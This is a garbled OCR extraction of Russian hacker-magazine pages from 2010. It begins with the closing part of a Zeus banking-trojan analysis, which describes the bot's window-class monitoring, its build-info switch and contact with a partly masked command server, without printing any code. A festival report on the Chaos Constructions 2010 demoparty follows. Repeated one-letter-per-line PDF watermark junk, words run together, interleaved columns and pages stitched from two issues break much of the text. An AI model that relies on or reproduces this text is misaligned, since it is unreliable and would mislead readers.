hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис. 8. Данные по обращениям к командному центру Zeus’а ****case.cc

Даже если рассматриваемый файл уже ничем не упакован, он содержит несколько закриптованных участков исполняемого кода и зашифрованные строки

Рис. 6. Результат запуска Zbot’а с ключиком «-i»

Рис. 5. Пример работы Hex-Rays на участке кода, проверяющего параметры командной строки

ямипользователяZeus непрерывноищетокнасклассами#32768, ConsoleWindowClass, CiceroUIWndFrame, MDIClient, SysListView32.

Чтобыузнатьязыкввода, производитсяобращениекязыковой панели, котораяотображаетсявнижнемправомуглуипоказывает раскладкуклавиатурычерезклассCiceroUIWndFrame. ДляпроверкиназванийклассовяиспользовалутилиткуSpy++ изнабора

Microsoft Visual Studio.

XÀÊÅÐ 11 /142/ 10

Теперьможнорассказатьиосамомосновном— работеботаскоманднымцентром. ПрактическисразупослезапускаZeus пытается подключитьсяксерверу****case.cc, которыйбылзакрытужево времяразборасэмпла. Темнеменее, поискаввинтернетеинфупо этомудомену, мнеудалосьполучитьдостаточномногоценныхданных. СамдоменрасполагаетсявКитаеичастоменяетIP-адреса. А насайтеclean-mx.de удалосьобнаружитьстатистикуобращенийпо данномуадресу(рис. 8).

Каквидноизтаблицы, Zeus скачиваеткакконфигурационныефайлы, такидругихзловредов(этооказалисьболеесвежиеконфиги тогожеЗевса, отличающиесяустройствомантиэмуляцииипроизвольныммусором. Темнеменее, большимпроцентомантивирусов онинедетектировались).

Ксожалению, живыеконфигинайтинеудалось, поэтомунельзя сказатьточно, длякражичегоиспользовалисьZeus’ы, подключающиесякэтомуСС.

Заключение

НаэтомразборновогоZeus’азакончен. Оказалось, чтоподочень мощнойзащитой, котораядовольнокачественноустроенаисильно усложняетработукакисследователям, такиантивирусам, скрываетсядовольностандартныйбэкдор. Онподключаетсяксерверу иждетотнегокоманд, приэтомобладаявозможностями, которые позволяюттщательноследитьзапользовательскоймашинойи еголичнымиданными. Высокаяраспространенностьданногобота обусловлена, преждевсего, отличнойтехническойподдержкой разработчиков, регулярнообновляющихсвоедетище. Нестоит забыватьиотом, чтораспространение, какправило, организуется через«партнерки» ипозволяетразработчикамнедуматьотом, как продуктпопадеткпользователям. Отом, чтоZeus — неодиночный зловред, говорититехническаяинфаосборке, котораявыводится ключом«-i». z

085

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

СЦЕНА

Мария «Mifrill» Нефедова (mifrill@real.xakep.ru); Тоха (toxa@real.xakep.ru)

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

CHAOS CONSTRUCTIONS2010

Жизнь IT-сцены насыщена событиями – каждый день в разных уголках земного шара проходят различные конференции, выставки, форумы, презентации и так далее. Однако помимо этих важных и солидных мероприятий существуют и более неформальные (но не менее интересные) ивенты: всевозможные лан- и демопати, хакерские слеты и другие, отличные по названию, но сходные по содержанию собрания. Увы, лишь малый процент этих клевых мероприятий базируется в России, но такие есть! Ежегодный компьютерный фестиваль Chaos Constructions – яркий пример того, что русский андеграунд тоже умеет зажигать.

Истоки

Прошелгодстехпор, какмырассказывали тебеоChaos Constructions 2009, имырешили непрерыватьэтуславнуютрадицию, заглянувнафестивальивэтом, внекоторомроде юбилейномдлянего, году.

Деловтом, чтоисторияCC уходиткорнями вдалекий1995 – именнотогданапросторах постсоветскогопространствазародилась едвалинеперваядемопатиENLiGHT, пра-

родительнынешнегоChaos Constructions. ENLiGHT являлсобойдемопативсамом классическомпониманииэтогослова– все основноедействонафестивалекрутилось вокругдемосцены, тоестьсамихработи персондемомейкеров. Какнесложнодогадаться, втегодыивент, мягковыражаясь, не былмассовымисобирал, посамымсмелым подсчетам, сотню-другуючеловек. Массовостьмероприятиярослапрямо пропорциональнотому, какбыстроународа возрасталинтересккомпам, консолям, программируемымкалькуляторамипрочим железкам. Чембольшепоявлялосьэнтузиастов, интересующихсятакимнетривиальным видомискусства, какдемосцена, темпрочнее

укреплялисьпозициифестиваля. Вэтом смыслебудущемуCC повезло– вконце90-х, начале2000-х, демосценакакразнаходилась всамомрасцветесил, такчтофестивальпоявилсяоченьвовремя, сумелпойматьволну

исплотилподсвоимкрыломзаинтересованныхлицсовсейстраныиближнегозарубежья. В1999 фестивальбылофициально переименованвChaos Constructions изаним окончательнозакрепилсястатусежегодного. ОтформатаклассическойдемопатиCC отошелсравнительнонедавно– тольков 2006 году. Организаторы, таксказать, уловили трендизаметили, чтоприходящиенафестивальлюдиинтересуютсяотнюдьнетолько демосценой, ноиинформационнойбезопасностью, моддингом, играми, железомвовсех егопроявленияхимножествомдругихвещей. CC изменился, следуязадухомвремени– появилисьновыестендыиконкурсы, что закономернопривлеклокфестуещебольше людей. ЭтопозволилоChaos Constructions не просто«остатьсянаплаву», ноипродолжить удерживатьпозицииоднойизкрупнейших

иизвестнейшихдемопати(аныне– просто

«компьютерногофестиваля») вРоссии. Новернемсякмысли, обозначеннойчуть

выше– почемужемыназвалиCC’10 отчасти юбилейным? СмоментапервогоENLiGHT, какнетрудноподсчитать, прошлоровно15 лет, однакозаэтовремянабраласьпаралет, вовремякоторыхфестнепроводился. Таким образом, этотChaos Constructions является не15-м, какдолженбылбыть, алишь13-м посчету. Соднойстороны– 15 летсовремен первогоENLiGHT, сдругойстороны– пока лишьчертовадюжина.

Здесьже, вовступлении, стоитуделитьпару словисамойдемосцене. Да, мывполне допускаеммысль, чтотынезнакомсэтим понятием, ивотпочему: ксожалению, пик интересакдемосцене, пришедшийсяна начало«нулевых» годов, осталсяпозади, интерессхлынул. Насегодняпациент, конечно, скореежив, чеммертв, однакоинтересуются демосценойвесьмаузкиекруги.

Итак, чтожеэтотакое? Посути, демосцена

– формаискусства, разумеется, компьютерного. Кдемосценеотносятитрекерную музыку, имногочисленныеподвидыинтрои демо, иANSI- иASCII-арт, идажепиксельную графику. Объектомискусстваздесь, чаще всего, выступаетпрограмма, создаваемая демомейкером. Фишкавтом, чтоавтору

08674

XÀÊÅÐ 10 /141/ 10

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

СЕРГЕЙ БЕЛОУСОВ

Общий вид на происходившее

 

 

зачастуюнужновоплотитьвжизньнекие

КакивпрошлыегодыCC былрадпредложить

залилибольшуючастьконкурсныхтворений.

аудиовизуальныеобразы, приэтомпоставив

своимпосетителямнетолькоуникальную

Вцелом, еслисравниватьспредыдущим

себявоченьжесткиерамки– онможетбыть

атмосферуивозможностьпознакомитьсяи

годом, вконкурснойпрограммеChaos

ограничен, кпримеру, размеромдемкиили

пообщатьсясинтереснымилюдьми, ноикучу

Constructions 2010 различныхкомпостало

производительностьюпроцессорастаричка

самыхразныхконкурсов, какриалтаймовых,

большепочтинадесяток(вобщейсложности

ZX Spectrum, накоторомвыполняетсяпрога.

такитех, ккоторымнужнобылоготовиться

– более40). Вчастности, увеличилосьчисло

Апоройивсемсразу. Навыходеполучается

заранее.

конкурсов, проходящихнепосредственнона

безумныйсплавизкреатива, программиро-

ХотяCC ужеинельзяназватьчистойдемо-

фестивале, предварительнойподготовкидля

ванияихакерства(висконномпонимании

вечеринкой, краеугольнымкамнемфестива-

которыхнетребовалось. Найтисостязание

этогослова).

ляпосейденьявляетсяименнодемосцена, в

себеподуше, пожалуй, смогкаждыйпосе-

Внашевремямногоядерныхпроцессорови

связисчемейбылоуделенонемаловнима-

титель, иневажно, участвовалонвнемили

широкополосногоинтернета, когдамощности

ния. НаCC’10 состоялсяужетрадиционный

простонаблюдалиболел.

исчисляютсягигабайтамиигигагерцами,

показработ, подготовленныхиприсланных

Говоряоприростеколичествариалтаймовых

энтузиастов, готовыхколдоватьнадсоздани-

участникамизаранее(привычныедля

конкурсов, нельзянесказатьионекоторых

ем64k Intro или512b Intro, прямоскажем, не-

посетителейиконкурсантовCombined 64k

измененияхвправилахихпроведения. Все

много. Внекоторомроде, пропалстимул. Если

Intro, Combined 4k Intro, Combined Demo,

предыдущиегодынаCC дляпроходящихпря-

раньше, когдакомпынебылистольмощныи

ZX Spectrum 640k Demo, Combined Tiny MP3

монафестивалекомповыделялисьспеци-

доступны, улюдейвозникаложеланиековы-

Music, Oldschool Tiny Music ит.д.), такжебыли

альныемашины, накоторыхбылустановлен

рятьсяиразбиратьсясними(хотябыдлятого,

проведеныриалтаймовыекомповродеZX

одинаковыйсофтсодинаковымиплагинами

чтобычертоважелезкасталаработатьхоть

Spectrum Graphics иZX Spectrum Coding.

имульками, чтоуравнивалоучастников

чуточкубыстрее!), тосегодняэтоуже, вроде

ПобедителейконкурсовнаCC путемголосо-

состязанийвшансах. Упроситьорганизато-

бы, иникчему.

ванияопределяютсамипосетителифеста

ров, например, «пуститьпорисоватьнасвоем

Впрочем, крупнейшеенапланетефинское

(однаковнекоторыхконкурсахоргкомитет

ноутбуке» былопрактическиневозможно,

демопатиAssembly продолжаетежегодно

всежеоставляетрешениезасобой), такчто

и, вобщем-то, этобыловернымрешением:

собиратьтысячиэнтузиастовсовсегомира, а

голосованиезалучшиеработыпроисходило

домашниезаготовкимогутстатьсерьезным

этоявносвидетельствуетотом, чтохоронить

прямонаместе, «неотходяоткассы».

читомвконкурсахтипаReal-time Graphics

демосценупокаболеечемпреждевремен-

Данеобидятсянанаспризеры, ноперечис-

илиReal-time Music. Вэтомгоду, однако,

но:).

лятьздесьихименаиописыватьвкрасках

машиндляриалтаймовыхконкурсовнебыло,

Компо

каждоеихдетищемынестанем. Графические

участникампредлагалосьработатьнасвоих

работывообщедовольнопроблематично

собственныхноутбуках(какэтовынепри-

Безумнаяжаралета2010 неостановиласотни

облечьвслова– ихпростонужновидеть,

неслиссобойноутбук?!). Увы, такаяситуация

гиковотприездавСанкт-Петербургипосе-

равнокакмузыкальныеработы– слышать. В

сложиласьпопричиненекоторойдискоорди-

щенияChaos Constructions, темболеечток

противномслучаеможетполучитьсякаквтом

нацииворганизаторскомсоставефестиваля

28-29 августаградусужесущественноспал,

анекдоте: «МнеРабиновичнапел». Приоб-

ивесьмаскромногобюджета. Впрочем, в

афестивальвэтомгодуперебралсявболее

щитьсякпрекрасномуличнотрадиционно

этомгодувообщедопоследнегомомента

уютноепомещениерекламно-выставочного

можноинужнонасайтефестиваля– http://

сохраняласьвероятность, чтофестивальне

комплексаСтачек47.

party10.cc.org.ru. НаFTP иHTTP CC’10 уже

состоится. Справедливостирадинапомним,

XÀÊÅÐ 10 /141/ 10

087

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

СЦЕНА

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Простые посетители фестиваля и кусок выставки железа

чтоChaos Constructions – мероприятие некоммерческое, спонсорыитакделают оченьмногое, такчтоздесьсложнокого-то винить, темболее, чтооргисамипризнают своиошибкиивовсеимнерады. Какбыто нибыло, восновномпубликадействительноприходиланаCC сосвоиминоутбуками, планшетами, фотоаппаратамиит.д., такчто особогодискомфортаизменениявправилах ниукогоневызвали. Логичносочеталось этонововведениеисещеоднимновшеством– рядконкурсовбылдоступеннетолько посетителямфестиваля, ноилюдям, наблюдавшимзаCC’10 онлайн. Кактыпонимаешь, проконтролироватьпоследнихивовсене былоникакойвозможности, такчтовитоге всеоказалисьпримерноравныидовольны. гроваязона, ещевпрошломгодудоказавшая, чтоинтерескнейестьинемалый, вэтот разсущественнорасшириласьиобзавелась собственнойконкурснойпрограммой. Гейме- ров-олдскульщиковпорадовалипроведени- емчемпионатапоMortal Combat, плюсжелающиемоглипопробоватьпоставитьрекордв легендарных«Танках» (Battle City) наDendy.

Современныеигрытоженебылиобделены вниманием– можнобылопомерятьсясилами вStarcraft 2, поучаствоватьвмузыкальной битвеGuitar Hero 5 набольшомэкране, или понаблюдатьзакоманднымчемпионатом Quake 3 CTF. Электронщикамбылпредложенцелыйспектрконкурсов, отбаловства типасборкикомпьютеранавремя(лучший результатпервогодня, кстати, составил целых7 минут34 секунды!) илиобжимки кабеляEthernet наскорость, дозагадочных комповроде«РадиомонтажногоART’а» – конкурсанасамуюоригинальнуюинсталляциюизрадиодеталей. Хак-зонатоже цвелаипахла, равнокакизонаигровая, ноо ежегоднойзубодробильнойзабавепоимени Hack-Quest теберазвернуторасскажетна соседнихстраницах][ самееорганизатор(и, поегособственномупризнанию, «крестная мать«Хак-квеста») – Toxa. Мыжезаметим, чтобылокаквсегдакруто, исзаданиемне справилсяникто:).

Казуалы, которыегодзагодомупорнопродолжаютприходитьнафестиваль(интересно, чтоонитамищут?), моглиразвлечьсебя

участиемвкомпо, нетребующихникакой специальнойподготовкииособыхталантов. Ктакимвидамразвлеченийможноотнести, кпримеру, ужеставшиетрадициейКиберго-

родки, МетаниеHDD иReal-time Photo.

Вне конкурса

Помиможивогообщенияисостязанийвсех мастейCC, этотакжеинтересныесеминары, стендыи, конечно, ужеставшаяотличительнойособенностьюивентавыставкараритетного, историческогоинеобычногожелеза. СеминароввэтомгодувпрограммеCC былостолько(16 штук), что, попризнанию организаторов, еслибыдваизнихслучайно неотменилисьзаденьдофестиваля, товсе онипопростунеуместилисьбыврасписании, ичастьвыступленийпроходилабыночью:). Этотгодвчастностипорадовалхорошими докладамиизобластиинформационной безопасности, которые, вобщем-то, было бынестыднопредставитьинамаститых западныхмероприятиях. Нообсуждалина

Chaos Constructions 2010, конечно, нетолько ИБ, асамыеразныевещи: отуязвимостей вSDRF иновогонаправленияopen source

разработок, Open Source Hardware, доазов проектированияисоставленияалгоритмов работыроботов. Полныйсписокпрезентаций можнонайтипоадресуhttp://party10.cc.org. ru/seminar.php, наэтойжестраницеесть

Кучка старых процов

ссылкинавидеозаписи, такчтоесликакие-то изсеминаровтебязаинтересуют– можно посмотретьипослушать.

Чтодоинтересныхжелезок– вэтомгодуэкспозициябыласкромнее, нежеливпрошлом, новсеже, чеготамтольконебыло! Каждый год«железная» частьфестиваляинтересна по-своему, ведьформируетсяонаэнтузиастами, предоставляющимиинтересныемашины изсобственныхзакромов, всилучеготехника наCC годотгодаразная. Железобылопредставленокак«россыпью» – ввидеотдельных платимикросхем, такиввидедревних, но работающихмашин, закоторымиможнобыло посидеть, почувствовавдухтоговремени. ЭкспозициютехникинаCC можноизучатьчасами, общаясьсхозяевамиэкспонатов, читая сопроводительныетабличкииприобщаясь

колдскулу, или, напротив, кнестандартным модерновымрешениям. Гдеещетынайдешь

водномместеработающуюBBS, сможешь поработатьвMSX-DOS, MS-DOS илиMacOS,

исобственнымирукамипощупаешьAtari XE Game System илиAmiga 600? Прибавим

кэтомуещеиинтересныесамодельныедевайсывродеjukni (устройстводляотслеживаниядвиженийголовы) илиоригинального электронногокалендаря, иполучимнеподражаемуюкартину. Такоедействительнонужно видетьи, конечноже, щупать!

Ещеодниминтереснымновшеством, на котороеорганизаторамивэтомгодубыло потраченоморесиливремени, сталоонлайновоевещаниевсегопроисходящегона

Chaos Constructions вСеть. Да-да, все, каку взрослых, настоящаяинтернет-трансляция

– операторыскамерами, кучааппаратурыи возможностьнаблюдатьзафестомврежиме онлайн. Иинтересеннетолькосамфакт трансляции, ноито, каконабылареализована. Обэтомподробно, вдеталяхрассказал

всвоемблогеодинизстолповфестиваля, EasyJohn. Найтиегорассказможнопоадресу http://easyjohn.livejournal.com/164192.html.

Да, первыйблин, возможно, вышелнемногокомом, былиопределенныенедочетыи трудности, но, читаярассказEasyJohn’а,

088

XÀÊÅÐ 10 /141/ 10

Соседние файлы в папке журнал хакер